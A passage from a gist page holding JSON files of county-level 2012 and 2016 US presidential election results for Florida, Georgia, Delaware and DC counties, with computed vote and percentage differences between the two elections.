    &quot;name&quot;: &quot;Manatee, FL&quot;,
    &quot;fips&quot;: &quot;12081&quot;,
    &quot;totalVotes&quot;: &quot;153491&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.20&quot;,
    &quot;repDiffVotes&quot;: -16054,
    &quot;demDiffPercent&quot;: &quot;3.30&quot;,
    &quot;demDiffVotes&quot;: -4563
  },
  {
    &quot;name&quot;: &quot;Marion, FL&quot;,
    &quot;fips&quot;: &quot;12083&quot;,
    &quot;totalVotes&quot;: &quot;161383&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.30&quot;,
    &quot;repDiffVotes&quot;: -14667,
    &quot;demDiffPercent&quot;: &quot;5.40&quot;,
    &quot;demDiffVotes&quot;: 4873
  },
  {
    &quot;name&quot;: &quot;Martin, FL&quot;,
    &quot;fips&quot;: &quot;12085&quot;,
    &quot;totalVotes&quot;: &quot;78873&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.900&quot;,
    &quot;repDiffVotes&quot;: -4999,
    &quot;demDiffPercent&quot;: &quot;3.20&quot;,
    &quot;demDiffVotes&quot;: -51
  },
  {
    &quot;name&quot;: &quot;Miami-Dade, FL&quot;,
    &quot;fips&quot;: &quot;12086&quot;,
    &quot;totalVotes&quot;: &quot;878297&quot;,
    &quot;repDiffPercent&quot;: &quot;3.90&quot;,
    &quot;repDiffVotes&quot;: -685,
    &quot;demDiffPercent&quot;: &quot;-2.40&quot;,
    &quot;demDiffVotes&quot;: -81566
  },
  {
    &quot;name&quot;: &quot;Monroe, FL&quot;,
    &quot;fips&quot;: &quot;12087&quot;,
    &quot;totalVotes&quot;: &quot;39057&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.80&quot;,
    &quot;repDiffVotes&quot;: -2651,
    &quot;demDiffPercent&quot;: &quot;4.70&quot;,
    &quot;demDiffVotes&quot;: 455
  },
  {
    &quot;name&quot;: &quot;Nassau, FL&quot;,
    &quot;fips&quot;: &quot;12089&quot;,
    &quot;totalVotes&quot;: &quot;40528&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.200&quot;,
    &quot;repDiffVotes&quot;: -4292,
    &quot;demDiffPercent&quot;: &quot;2.30&quot;,
    &quot;demDiffVotes&quot;: -598
  },
  {
    &quot;name&quot;: &quot;Okaloosa, FL&quot;,
    &quot;fips&quot;: &quot;12091&quot;,
    &quot;totalVotes&quot;: &quot;94797&quot;,
    &quot;repDiffPercent&quot;: &quot;3.00&quot;,
    &quot;repDiffVotes&quot;: -1620,
    &quot;demDiffPercent&quot;: &quot;0.700&quot;,
    &quot;demDiffVotes&quot;: -290
  },
  {
    &quot;name&quot;: &quot;Okeechobee, FL&quot;,
    &quot;fips&quot;: &quot;12093&quot;,
    &quot;totalVotes&quot;: &quot;12324&quot;,
    &quot;repDiffPercent&quot;: &quot;-9.50&quot;,
    &quot;repDiffVotes&quot;: -2014,
    &quot;demDiffPercent&quot;: &quot;10.4&quot;,
    &quot;demDiffVotes&quot;: 903
  },
  {
    &quot;name&quot;: &quot;Orange, FL&quot;,
    &quot;fips&quot;: &quot;12095&quot;,
    &quot;totalVotes&quot;: &quot;466359&quot;,
    &quot;repDiffPercent&quot;: &quot;4.40&quot;,
    &quot;repDiffVotes&quot;: -6502,
    &quot;demDiffPercent&quot;: &quot;-1.30&quot;,
    &quot;demDiffVotes&quot;: -55914
  },
  {
    &quot;name&quot;: &quot;Osceola, FL&quot;,
    &quot;fips&quot;: &quot;12097&quot;,
    &quot;totalVotes&quot;: &quot;108697&quot;,
    &quot;repDiffPercent&quot;: &quot;1.30&quot;,
    &quot;repDiffVotes&quot;: -9660,
    &quot;demDiffPercent&quot;: &quot;0.900&quot;,
    &quot;demDiffVotes&quot;: -18048
  },
  {
    &quot;name&quot;: &quot;Palm Beach, FL&quot;,
    &quot;fips&quot;: &quot;12099&quot;,
    &quot;totalVotes&quot;: &quot;600718&quot;,
    &quot;repDiffPercent&quot;: &quot;0.200&quot;,
    &quot;repDiffVotes&quot;: -23364,
    &quot;demDiffPercent&quot;: &quot;1.20&quot;,
    &quot;demDiffVotes&quot;: -21760
  },
  {
    &quot;name&quot;: &quot;Pasco, FL&quot;,
    &quot;fips&quot;: &quot;12101&quot;,
    &quot;totalVotes&quot;: &quot;213572&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.40&quot;,
    &quot;repDiffVotes&quot;: -29516,
    &quot;demDiffPercent&quot;: &quot;9.00&quot;,
    &quot;demDiffVotes&quot;: 8265
  },
  {
    &quot;name&quot;: &quot;Pinellas, FL&quot;,
    &quot;fips&quot;: &quot;12103&quot;,
    &quot;totalVotes&quot;: &quot;457697&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.40&quot;,
    &quot;repDiffVotes&quot;: -25488,
    &quot;demDiffPercent&quot;: &quot;5.20&quot;,
    &quot;demDiffVotes&quot;: 5777
  },
  {
    &quot;name&quot;: &quot;Polk, FL&quot;,
    &quot;fips&quot;: &quot;12105&quot;,
    &quot;totalVotes&quot;: &quot;248682&quot;,
    &quot;repDiffPercent&quot;: &quot;-2.10&quot;,
    &quot;repDiffVotes&quot;: -25639,
    &quot;demDiffPercent&quot;: &quot;5.10&quot;,
    &quot;demDiffVotes&quot;: -2560
  },
  {
    &quot;name&quot;: &quot;Putnam, FL&quot;,
    &quot;fips&quot;: &quot;12107&quot;,
    &quot;totalVotes&quot;: &quot;31324&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.30&quot;,
    &quot;repDiffVotes&quot;: -2547,
    &quot;demDiffPercent&quot;: &quot;7.20&quot;,
    &quot;demDiffVotes&quot;: 1747
  },
  {
    &quot;name&quot;: &quot;St. Johns, FL&quot;,
    &quot;fips&quot;: &quot;12109&quot;,
    &quot;totalVotes&quot;: &quot;114793&quot;,
    &quot;repDiffPercent&quot;: &quot;3.40&quot;,
    &quot;repDiffVotes&quot;: -10120,
    &quot;demDiffPercent&quot;: &quot;-1.30&quot;,
    &quot;demDiffVotes&quot;: -7847
  },
  {
    &quot;name&quot;: &quot;St. Lucie, FL&quot;,
    &quot;fips&quot;: &quot;12111&quot;,
    &quot;totalVotes&quot;: &quot;123026&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.30&quot;,
    &quot;repDiffVotes&quot;: -14046,
    &quot;demDiffPercent&quot;: &quot;6.50&quot;,
    &quot;demDiffVotes&quot;: -943
  },
  {
    &quot;name&quot;: &quot;Santa Rosa, FL&quot;,
    &quot;fips&quot;: &quot;12113&quot;,
    &quot;totalVotes&quot;: &quot;76846&quot;,
    &quot;repDiffPercent&quot;: &quot;1.70&quot;,
    &quot;repDiffVotes&quot;: -6940,
    &quot;demDiffPercent&quot;: &quot;2.10&quot;,
    &quot;demDiffVotes&quot;: -630
  },
  {
    &quot;name&quot;: &quot;Sarasota, FL&quot;,
    &quot;fips&quot;: &quot;12115&quot;,
    &quot;totalVotes&quot;: &quot;207480&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.700&quot;,
    &quot;repDiffVotes&quot;: -13594,
    &quot;demDiffPercent&quot;: &quot;2.80&quot;,
    &quot;demDiffVotes&quot;: -2557
  },
  {
    &quot;name&quot;: &quot;Seminole, FL&quot;,
    &quot;fips&quot;: &quot;12117&quot;,
    &quot;totalVotes&quot;: &quot;208620&quot;,
    &quot;repDiffPercent&quot;: &quot;3.70&quot;,
    &quot;repDiffVotes&quot;: 678,
    &quot;demDiffPercent&quot;: &quot;-0.800&quot;,
    &quot;demDiffVotes&quot;: -9166
  },
  {
    &quot;name&quot;: &quot;Sumter, FL&quot;,
    &quot;fips&quot;: &quot;12119&quot;,
    &quot;totalVotes&quot;: &quot;60479&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.80&quot;,
    &quot;repDiffVotes&quot;: -12076,
    &quot;demDiffPercent&quot;: &quot;2.30&quot;,
    &quot;demDiffVotes&quot;: -3107
  },
  {
    &quot;name&quot;: &quot;Suwannee, FL&quot;,
    &quot;fips&quot;: &quot;12121&quot;,
    &quot;totalVotes&quot;: &quot;17629&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.10&quot;,
    &quot;repDiffVotes&quot;: -1609,
    &quot;demDiffPercent&quot;: &quot;5.90&quot;,
    &quot;demDiffVotes&quot;: 796
  },
  {
    &quot;name&quot;: &quot;Taylor, FL&quot;,
    &quot;fips&quot;: &quot;12123&quot;,
    &quot;totalVotes&quot;: &quot;9120&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.50&quot;,
    &quot;repDiffVotes&quot;: -674,
    &quot;demDiffPercent&quot;: &quot;7.30&quot;,
    &quot;demDiffVotes&quot;: 615
  },
  {
    &quot;name&quot;: &quot;Union, FL&quot;,
    &quot;fips&quot;: &quot;12125&quot;,
    &quot;totalVotes&quot;: &quot;5393&quot;,
    &quot;repDiffPercent&quot;: &quot;-6.20&quot;,
    &quot;repDiffVotes&quot;: -587,
    &quot;demDiffPercent&quot;: &quot;6.80&quot;,
    &quot;demDiffVotes&quot;: 325
  },
  {
    &quot;name&quot;: &quot;Volusia, FL&quot;,
    &quot;fips&quot;: &quot;12127&quot;,
    &quot;totalVotes&quot;: &quot;234532&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.90&quot;,
    &quot;repDiffVotes&quot;: -25273,
    &quot;demDiffPercent&quot;: &quot;6.90&quot;,
    &quot;demDiffVotes&quot;: 5955
  },
  {
    &quot;name&quot;: &quot;Wakulla, FL&quot;,
    &quot;fips&quot;: &quot;12129&quot;,
    &quot;totalVotes&quot;: &quot;14660&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.60&quot;,
    &quot;repDiffVotes&quot;: -1217,
    &quot;demDiffPercent&quot;: &quot;7.30&quot;,
    &quot;demDiffVotes&quot;: 827
  },
  {
    &quot;name&quot;: &quot;Walton, FL&quot;,
    &quot;fips&quot;: &quot;12131&quot;,
    &quot;totalVotes&quot;: &quot;28494&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.60&quot;,
    &quot;repDiffVotes&quot;: -4205,
    &quot;demDiffPercent&quot;: &quot;3.40&quot;,
    &quot;demDiffVotes&quot;: -190
  },
  {
    &quot;name&quot;: &quot;Washington, FL&quot;,
    &quot;fips&quot;: &quot;12133&quot;,
    &quot;totalVotes&quot;: &quot;10999&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.90&quot;,
    &quot;repDiffVotes&quot;: -592,
    &quot;demDiffPercent&quot;: &quot;5.60&quot;,
    &quot;demDiffVotes&quot;: 559
  },
  {
    &quot;name&quot;: &quot;Appling, GA&quot;,
    &quot;fips&quot;: &quot;13001&quot;,
    &quot;totalVotes&quot;: &quot;7083&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.10&quot;,
    &quot;repDiffVotes&quot;: -259,
    &quot;demDiffPercent&quot;: &quot;4.80&quot;,
    &quot;demDiffVotes&quot;: 324
  },
  {
    &quot;name&quot;: &quot;Atkinson, GA&quot;,
    &quot;fips&quot;: &quot;13003&quot;,
    &quot;totalVotes&quot;: &quot;2902&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.20&quot;,
    &quot;repDiffVotes&quot;: 65,
    &quot;demDiffPercent&quot;: &quot;5.00&quot;,
    &quot;demDiffVotes&quot;: 234
  },
  {
    &quot;name&quot;: &quot;Bacon, GA&quot;,
    &quot;fips&quot;: &quot;13005&quot;,
    &quot;totalVotes&quot;: &quot;3930&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.30&quot;,
    &quot;repDiffVotes&quot;: -263,
    &quot;demDiffPercent&quot;: &quot;5.10&quot;,
    &quot;demDiffVotes&quot;: 184
  },
  {
    &quot;name&quot;: &quot;Baker, GA&quot;,
    &quot;fips&quot;: &quot;13007&quot;,
    &quot;totalVotes&quot;: &quot;1589&quot;,
    &quot;repDiffPercent&quot;: &quot;-4.60&quot;,
    &quot;repDiffVotes&quot;: 10,
    &quot;demDiffPercent&quot;: &quot;5.00&quot;,
    &quot;demDiffVotes&quot;: 144
  },
  {
    &quot;name&quot;: &quot;Baldwin, GA&quot;,
    &quot;fips&quot;: &quot;13009&quot;,
    &quot;totalVotes&quot;: &quot;16232&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.20&quot;,
    &quot;repDiffVotes&quot;: -102,
    &quot;demDiffPercent&quot;: &quot;2.30&quot;,
    &quot;demDiffVotes&quot;: 518
  },
  {
    &quot;name&quot;: &quot;Banks, GA&quot;,
    &quot;fips&quot;: &quot;13011&quot;,
    &quot;totalVotes&quot;: &quot;6193&quot;,
    &quot;repDiffPercent&quot;: &quot;-1.50&quot;,
    &quot;repDiffVotes&quot;: -776,
    &quot;demDiffPercent&quot;: &quot;2.60&quot;,
    &quot;demDiffVotes&quot;: 96
  },
  {
    &quot;name&quot;: &quot;Barrow, GA&quot;,
    &quot;fips&quot;: &quot;13013&quot;,
    &quot;totalVotes&quot;: &quot;25186&quot;,
    &quot;repDiffPercent&quot;: &quot;1.30&quot;,
    &quot;repDiffVotes&quot;: -2380,
    &quot;demDiffPercent&quot;: &quot;0.900&quot;,
    &quot;demDiffVotes&quot;: -552
  },
  {
    &quot;name&quot;: &quot;Bartow, GA&quot;,
    &quot;fips&quot;: &quot;13015&quot;,
    &quot;totalVotes&quot;: &quot;35782&quot;,
    &quot;repDiffPercent&quot;: &quot;-0.900&quot;,
    &quot;repDiffVotes&quot;: -3003,
    &quot;demDiffPercent&quot;: &quot;2.50&quot;,
    &quot;demDiffVotes&quot;: 192
  },
  {
    &quot;name&quot;: &quot;Ben Hill, GA&quot;,
    &quot;fips&quot;: &quot;13017&quot;,
    &quot;totalVotes&quot;: &quot;5952&quot;,
    &quot;repDiffPercent&quot;: &quot;-5.90&quot;,
    &quot;repDiffVotes&quot;: -338,
    &quot;demDiffPercent&quot;: &quot;7.20&quot;,
    &quot;demDiffVotes&quot;: 414
  },
  {
    &quot;name&quot;: &quot;Berrien, GA&quot;,
    &quot;fips&quot;: &quot;13019&quot;,
    &quot;totalVotes&quot;: &quot;6200&quot;,
    &quot;repDiffPercent&quot;: &quot;-3.90&quot;,
    &quot;repDiffVotes&quot;: -565,
    &quot;demDiffPercent&quot;: &quot;4.50&quot;,
    &quot;demDiffVotes&quot;: 232
  },
  {
    &quot;name&quot;: &quot;Bibb, GA&quot;,
    &quot;fips&quot;: &quot;13021&quot;,
    &quot;totalVotes&quot;:</code></pre><p><em>Truncated — <a href="https://gist.github.com/e2f37a2ce5f3be45b09fbdd427f75ba7">view the full gist</a>.</em></p>
<h3>2012-2016_P_differenceresults-bycounty.json</h3><pre><code class="language-json">[{
  &quot;10001&quot;: {
    &quot;name&quot;: &quot;Kent, DE&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;46.8&quot;,
      &quot;repVotes&quot;: &quot;32135&quot;,
      &quot;demPercent&quot;: &quot;51.7&quot;,
      &quot;demVotes&quot;: &quot;35527&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;50&quot;,
      &quot;repVotes&quot;: &quot;36989&quot;,
      &quot;demPercent&quot;: &quot;45&quot;,
      &quot;demVotes&quot;: &quot;33347&quot;
    },
    &quot;repDiffPercent&quot;: -3.200000000000003,
    &quot;repDiffVotes&quot;: -4854,
    &quot;demDiffPercent&quot;: 6.700000000000003,
    &quot;demDiffVotes&quot;: 2180,
    &quot;election2012DemPercent&quot;: 51.7,
    &quot;election2012DemVotes&quot;: 35527,
    &quot;election2012RepPercent&quot;: 46.8,
    &quot;election2012RepVotes&quot;: 32135
  },
  &quot;10003&quot;: {
    &quot;name&quot;: &quot;New Castle, DE&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;32.2&quot;,
      &quot;repVotes&quot;: &quot;81230&quot;,
      &quot;demPercent&quot;: &quot;66.3&quot;,
      &quot;demVotes&quot;: &quot;167082&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;33&quot;,
      &quot;repVotes&quot;: &quot;85507&quot;,
      &quot;demPercent&quot;: &quot;62&quot;,
      &quot;demVotes&quot;: &quot;162905&quot;
    },
    &quot;repDiffPercent&quot;: -0.7999999999999972,
    &quot;repDiffVotes&quot;: -4277,
    &quot;demDiffPercent&quot;: 4.299999999999997,
    &quot;demDiffVotes&quot;: 4177,
    &quot;election2012DemPercent&quot;: 66.3,
    &quot;election2012DemVotes&quot;: 167082,
    &quot;election2012RepPercent&quot;: 32.2,
    &quot;election2012RepVotes&quot;: 81230
  },
  &quot;10005&quot;: {
    &quot;name&quot;: &quot;Sussex, DE&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;55.9&quot;,
      &quot;repVotes&quot;: &quot;52119&quot;,
      &quot;demPercent&quot;: &quot;42.9&quot;,
      &quot;demVotes&quot;: &quot;39975&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;59&quot;,
      &quot;repVotes&quot;: &quot;62607&quot;,
      &quot;demPercent&quot;: &quot;37&quot;,
      &quot;demVotes&quot;: &quot;39329&quot;
    },
    &quot;repDiffPercent&quot;: -3.1000000000000014,
    &quot;repDiffVotes&quot;: -10488,
    &quot;demDiffPercent&quot;: 5.899999999999999,
    &quot;demDiffVotes&quot;: 646,
    &quot;election2012DemPercent&quot;: 42.9,
    &quot;election2012DemVotes&quot;: 39975,
    &quot;election2012RepPercent&quot;: 55.9,
    &quot;election2012RepVotes&quot;: 52119
  },
  &quot;11001&quot;: {
    &quot;name&quot;: &quot;District of Columbia, DC&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;7.3&quot;,
      &quot;repVotes&quot;: &quot;21381&quot;,
      &quot;demPercent&quot;: &quot;91.2&quot;,
      &quot;demVotes&quot;: &quot;267070&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;4&quot;,
      &quot;repVotes&quot;: &quot;11553&quot;,
      &quot;demPercent&quot;: &quot;93&quot;,
      &quot;demVotes&quot;: &quot;260223&quot;
    },
    &quot;repDiffPercent&quot;: 3.3,
    &quot;repDiffVotes&quot;: 9828,
    &quot;demDiffPercent&quot;: -1.7999999999999972,
    &quot;demDiffVotes&quot;: 6847,
    &quot;election2012DemPercent&quot;: 91.2,
    &quot;election2012DemVotes&quot;: 267070,
    &quot;election2012RepPercent&quot;: 7.3,
    &quot;election2012RepVotes&quot;: 21381
  },
  &quot;12001&quot;: {
    &quot;name&quot;: &quot;Alachua, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;40.5&quot;,
      &quot;repVotes&quot;: &quot;48797&quot;,
      &quot;demPercent&quot;: &quot;57.9&quot;,
      &quot;demVotes&quot;: &quot;69699&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;36&quot;,
      &quot;repVotes&quot;: &quot;46584&quot;,
      &quot;demPercent&quot;: &quot;59&quot;,
      &quot;demVotes&quot;: &quot;75370&quot;
    },
    &quot;repDiffPercent&quot;: 4.5,
    &quot;repDiffVotes&quot;: 2213,
    &quot;demDiffPercent&quot;: -1.1000000000000014,
    &quot;demDiffVotes&quot;: -5671,
    &quot;election2012DemPercent&quot;: 57.9,
    &quot;election2012DemVotes&quot;: 69699,
    &quot;election2012RepPercent&quot;: 40.5,
    &quot;election2012RepVotes&quot;: 48797
  },
  &quot;12003&quot;: {
    &quot;name&quot;: &quot;Baker, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;78.9&quot;,
      &quot;repVotes&quot;: &quot;8975&quot;,
      &quot;demPercent&quot;: &quot;20.3&quot;,
      &quot;demVotes&quot;: &quot;2311&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;81&quot;,
      &quot;repVotes&quot;: &quot;10294&quot;,
      &quot;demPercent&quot;: &quot;17&quot;,
      &quot;demVotes&quot;: &quot;2112&quot;
    },
    &quot;repDiffPercent&quot;: -2.0999999999999943,
    &quot;repDiffVotes&quot;: -1319,
    &quot;demDiffPercent&quot;: 3.3000000000000007,
    &quot;demDiffVotes&quot;: 199,
    &quot;election2012DemPercent&quot;: 20.3,
    &quot;election2012DemVotes&quot;: 2311,
    &quot;election2012RepPercent&quot;: 78.9,
    &quot;election2012RepVotes&quot;: 8975
  },
  &quot;12005&quot;: {
    &quot;name&quot;: &quot;Bay, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;71.2&quot;,
      &quot;repVotes&quot;: &quot;56876&quot;,
      &quot;demPercent&quot;: &quot;27.6&quot;,
      &quot;demVotes&quot;: &quot;22051&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;71&quot;,
      &quot;repVotes&quot;: &quot;62010&quot;,
      &quot;demPercent&quot;: &quot;25&quot;,
      &quot;demVotes&quot;: &quot;21689&quot;
    },
    &quot;repDiffPercent&quot;: 0.20000000000000284,
    &quot;repDiffVotes&quot;: -5134,
    &quot;demDiffPercent&quot;: 2.6000000000000014,
    &quot;demDiffVotes&quot;: 362,
    &quot;election2012DemPercent&quot;: 27.6,
    &quot;election2012DemVotes&quot;: 22051,
    &quot;election2012RepPercent&quot;: 71.2,
    &quot;election2012RepVotes&quot;: 56876
  },
  &quot;12007&quot;: {
    &quot;name&quot;: &quot;Bradford, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;70.6&quot;,
      &quot;repVotes&quot;: &quot;8219&quot;,
      &quot;demPercent&quot;: &quot;28.6&quot;,
      &quot;demVotes&quot;: &quot;3325&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;74&quot;,
      &quot;repVotes&quot;: &quot;8913&quot;,
      &quot;demPercent&quot;: &quot;24&quot;,
      &quot;demVotes&quot;: &quot;2924&quot;
    },
    &quot;repDiffPercent&quot;: -3.4000000000000057,
    &quot;repDiffVotes&quot;: -694,
    &quot;demDiffPercent&quot;: 4.600000000000001,
    &quot;demDiffVotes&quot;: 401,
    &quot;election2012DemPercent&quot;: 28.6,
    &quot;election2012DemVotes&quot;: 3325,
    &quot;election2012RepPercent&quot;: 70.6,
    &quot;election2012RepVotes&quot;: 8219
  },
  &quot;12009&quot;: {
    &quot;name&quot;: &quot;Brevard, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;55.8&quot;,
      &quot;repVotes&quot;: &quot;159300&quot;,
      &quot;demPercent&quot;: &quot;43.1&quot;,
      &quot;demVotes&quot;: &quot;122993&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;58&quot;,
      &quot;repVotes&quot;: &quot;181620&quot;,
      &quot;demPercent&quot;: &quot;38&quot;,
      &quot;demVotes&quot;: &quot;119525&quot;
    },
    &quot;repDiffPercent&quot;: -2.200000000000003,
    &quot;repDiffVotes&quot;: -22320,
    &quot;demDiffPercent&quot;: 5.100000000000001,
    &quot;demDiffVotes&quot;: 3468,
    &quot;election2012DemPercent&quot;: 43.1,
    &quot;election2012DemVotes&quot;: 122993,
    &quot;election2012RepPercent&quot;: 55.8,
    &quot;election2012RepVotes&quot;: 159300
  },
  &quot;12011&quot;: {
    &quot;name&quot;: &quot;Broward, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;32.3&quot;,
      &quot;repVotes&quot;: &quot;244101&quot;,
      &quot;demPercent&quot;: &quot;67.2&quot;,
      &quot;demVotes&quot;: &quot;508312&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;31&quot;,
      &quot;repVotes&quot;: &quot;258521&quot;,
      &quot;demPercent&quot;: &quot;66&quot;,
      &quot;demVotes&quot;: &quot;546956&quot;
    },
    &quot;repDiffPercent&quot;: 1.2999999999999972,
    &quot;repDiffVotes&quot;: -14420,
    &quot;demDiffPercent&quot;: 1.2000000000000028,
    &quot;demDiffVotes&quot;: -38644,
    &quot;election2012DemPercent&quot;: 67.2,
    &quot;election2012DemVotes&quot;: 508312,
    &quot;election2012RepPercent&quot;: 32.3,
    &quot;election2012RepVotes&quot;: 244101
  },
  &quot;12013&quot;: {
    &quot;name&quot;: &quot;Calhoun, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;71&quot;,
      &quot;repVotes&quot;: &quot;4366&quot;,
      &quot;demPercent&quot;: &quot;27&quot;,
      &quot;demVotes&quot;: &quot;1664&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;77&quot;,
      &quot;repVotes&quot;: &quot;4647&quot;,
      &quot;demPercent&quot;: &quot;20&quot;,
      &quot;demVotes&quot;: &quot;1236&quot;
    },
    &quot;repDiffPercent&quot;: -6,
    &quot;repDiffVotes&quot;: -281,
    &quot;demDiffPercent&quot;: 7,
    &quot;demDiffVotes&quot;: 428,
    &quot;election2012DemPercent&quot;: 27,
    &quot;election2012DemVotes&quot;: 1664,
    &quot;election2012RepPercent&quot;: 71,
    &quot;election2012RepVotes&quot;: 4366
  },
  &quot;12015&quot;: {
    &quot;name&quot;: &quot;Charlotte, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;56.7&quot;,
      &quot;repVotes&quot;: &quot;47996&quot;,
      &quot;demPercent&quot;: &quot;42.4&quot;,
      &quot;demVotes&quot;: &quot;35906&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;62&quot;,
      &quot;repVotes&quot;: &quot;60196&quot;,
      &quot;demPercent&quot;: &quot;35&quot;,
      &quot;demVotes&quot;: &quot;33421&quot;
    },
    &quot;repDiffPercent&quot;: -5.299999999999997,
    &quot;repDiffVotes&quot;: -12200,
    &quot;demDiffPercent&quot;: 7.399999999999999,
    &quot;demDiffVotes&quot;: 2485,
    &quot;election2012DemPercent&quot;: 42.4,
    &quot;election2012DemVotes&quot;: 35906,
    &quot;election2012RepPercent&quot;: 56.7,
    &quot;election2012RepVotes&quot;: 47996
  },
  &quot;12017&quot;: {
    &quot;name&quot;: &quot;Citrus, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;60.4&quot;,
      &quot;repVotes&quot;: &quot;44662&quot;,
      &quot;demPercent&quot;: &quot;38.5&quot;,
      &quot;demVotes&quot;: &quot;28460&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;68&quot;,
      &quot;repVotes&quot;: &quot;54377&quot;,
      &quot;demPercent&quot;: &quot;29&quot;,
      &quot;demVotes&quot;: &quot;22765&quot;
    },
    &quot;repDiffPercent&quot;: -7.600000000000001,
    &quot;repDiffVotes&quot;: -9715,
    &quot;demDiffPercent&quot;: 9.5,
    &quot;demDiffVotes&quot;: 5695,
    &quot;election2012DemPercent&quot;: 38.5,
    &quot;election2012DemVotes&quot;: 28460,
    &quot;election2012RepPercent&quot;: 60.4,
    &quot;election2012RepVotes&quot;: 44662
  },
  &quot;12019&quot;: {
    &quot;name&quot;: &quot;Clay, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;72.5&quot;,
      &quot;repVotes&quot;: &quot;70022&quot;,
      &quot;demPercent&quot;: &quot;26.7&quot;,
      &quot;demVotes&quot;: &quot;25759&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;70&quot;,
      &quot;repVotes&quot;: &quot;74898&quot;,
      &quot;demPercent&quot;: &quot;26&quot;,
      &quot;demVotes&quot;: &quot;27768&quot;
    },
    &quot;repDiffPercent&quot;: 2.5,
    &quot;repDiffVotes&quot;: -4876,
    &quot;demDiffPercent&quot;: 0.6999999999999993,
    &quot;demDiffVotes&quot;: -2009,
    &quot;election2012DemPercent&quot;: 26.7,
    &quot;election2012DemVotes&quot;: 25759,
    &quot;election2012RepPercent&quot;: 72.5,
    &quot;election2012RepVotes&quot;: 70022
  },
  &quot;12021&quot;: {
    &quot;name&quot;: &quot;Collier, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;64.7&quot;,
      &quot;repVotes&quot;: &quot;96520&quot;,
      &quot;demPercent&quot;: &quot;34.7&quot;,
      &quot;demVotes&quot;: &quot;51698&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;62&quot;,
      &quot;repVotes&quot;: &quot;105297&quot;,
      &quot;demPercent&quot;: &quot;36&quot;,
      &quot;demVotes&quot;: &quot;60941&quot;
    },
    &quot;repDiffPercent&quot;: 2.700000000000003,
    &quot;repDiffVotes&quot;: -8777,
    &quot;demDiffPercent&quot;: -1.2999999999999972,
    &quot;demDiffVotes&quot;: -9243,
    &quot;election2012DemPercent&quot;: 34.7,
    &quot;election2012DemVotes&quot;: 51698,
    &quot;election2012RepPercent&quot;: 64.7,
    &quot;election2012RepVotes&quot;: 96520
  },
  &quot;12023&quot;: {
    &quot;name&quot;: &quot;Columbia, FL&quot;,
    &quot;election2012&quot;: {
      &quot;repPercent&quot;: &quot;67.8&quot;,
      &quot;repVotes&quot;: &quot;18429&quot;,
      &quot;demPercent&quot;: &quot;31.2&quot;,
      &quot;demVotes&quot;: &quot;8462&quot;
    },
    &quot;election2016&quot;: {
      &quot;repPercent&quot;: &quot;71&quot;,
      &quot;repVotes&quot;: &quot;20359&quot;,
      &quot;demPercent&quot;: &quot;26&quot;,
      &quot;demVotes&quot;: &quot;7599&quot;
    },
    &quot;repDiffPercent&quot;: -3.200000000000003,
    &quot;repDiffVotes&quot;: -1930,
    &quot;demDiffPercent&quot;: 5.199999999999999,
    &quot;demDiffVotes&quot;: 863,
    &quot;election2012DemPercent&quot;: 31.2,
    &quot;election2012DemVotes&quot;: 8462,
    &quot;election2012RepPercent&quot;: 67.8,
    &quot;election2012RepVotes&quot;: 18429
  },
  &quot;12027&quot;: {
    &quot;name&quot;: &quot;DeSoto, FL&quot;,
